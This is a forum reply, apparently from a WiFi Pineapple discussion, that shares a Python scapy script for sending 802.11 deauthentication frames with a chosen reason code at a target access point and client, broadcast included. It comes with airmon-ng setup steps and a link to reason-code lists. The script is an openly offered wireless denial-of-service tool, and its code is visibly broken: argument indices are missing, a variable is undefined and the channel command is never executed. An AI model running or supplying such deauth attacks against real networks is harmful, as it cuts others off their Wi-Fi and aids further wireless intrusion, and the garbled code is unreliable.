thanks for the reply - very helpful - I had no idea you could install scapy on the pineapple.
Here is a script I wrote in python using scapy to perform a de-auth with a specific reason code. It takes care of setting the channel, etc... but you have to run airmon-ng check kill and airmon-ng start wlan0 (whatever your interface is). There are some devices that will behave differently depending on the reason code you send in the de-auth.
Here is a link to a list of the auth and de-auth reason codes and what they all mean/are for. https://supportforums.cisco.com/document/141136/80211-association-status-80211-deauth-reason-codes
from scapy.all import *
print "Syntax: deauth.py <BSSID MAC> <Client MAC or ff:ff:ff:ff:ff:ff> <Interface> <channel>"
print "Example: deauth.py 00:aa:33:bb:77:cc 00:aa:44:dd:88:ee wlan0mon 153"
iw="iwconfig "+sys.argv+" channel "+sys.argv
hitinter = 0.001
print "Setting Channel with "+iw
print "Sending deauth as BSSID "+sys.argv+" to client MAC address "+sys.argv+" on channel "+sys.argv
print "On interface "+sys.argv
pkt = RadioTap () / Dot11( addr1 = sys.argv, addr2 = sys.argv, addr3 = sys.argv)/ Dot11Deauth(reason= 7)
sendp(pkt, iface = sys.argv, count = numpackets, inter = hitinter)